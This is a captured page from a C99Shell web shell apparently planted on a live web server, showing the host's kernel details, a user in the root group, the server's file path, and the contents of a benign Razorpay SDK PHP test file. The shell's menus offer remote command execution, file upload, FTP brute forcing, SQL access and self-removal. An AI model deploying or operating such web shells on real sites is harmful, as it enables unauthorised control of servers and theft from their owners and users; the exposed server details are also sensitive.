!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/vendor/razorpay/razorpay/tests/   drwxr-xr-x
Free 29.24 GB of 117.98 GB (24.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ApiTest.php (1.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Razorpay\Tests;

use 
Razorpay\Api\Request;

class 
ApiTest extends TestCase
{
    
    private 
$title "codecov_test";

    private 
$url 'https://api.razorpay.com';

    public function 
setUp(): void
    
{
        
parent::setUp();
    }
    
    
/**
     * Get app details
     */
    
public function testGetAppDetails()
    {
        
$this->api->setAppDetails($this->title);

        
$data $this->api->getAppsDetails();

        
$this->assertTrue(is_array($data));

        
$this->assertTrue($this->title==$data[0]['title']);
    }

    
/**
     * Get app details
     */
    
public function testSetBaseUrl()
    {
        
$this->api->setBaseUrl($this->url);

        
$data $this->api->getBaseUrl();
 
        
$this->assertTrue($this->url==$data);

    }

    public function 
testGetkey()
    {
        
$data $this->api->getKey();

        
$this->assertTrue(strlen($data) > 0);
    }

    public function 
testGetSecret()
    {
        
$data $this->api->getSecret();
        
$this->assertTrue(strlen($data) > 0);
    }

    public function 
testFullUrl()
    {
        
$pattern '/^(https?:\/\/)?([a-z0-9-]+\.)+[a-z]{2,}(\/.*)?$/i';
        
$url $this->api->getFullUrl($this->api->getBaseUrl()."orders","v1");
        
$this->assertTrue(preg_match($pattern$url$matches)==true);      
    }

    
/**
     * @covers \Request
     */
    
public function testgetheader()
    {
        
$data Request::getHeaders();
        
$this->assertTrue(is_array($data));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--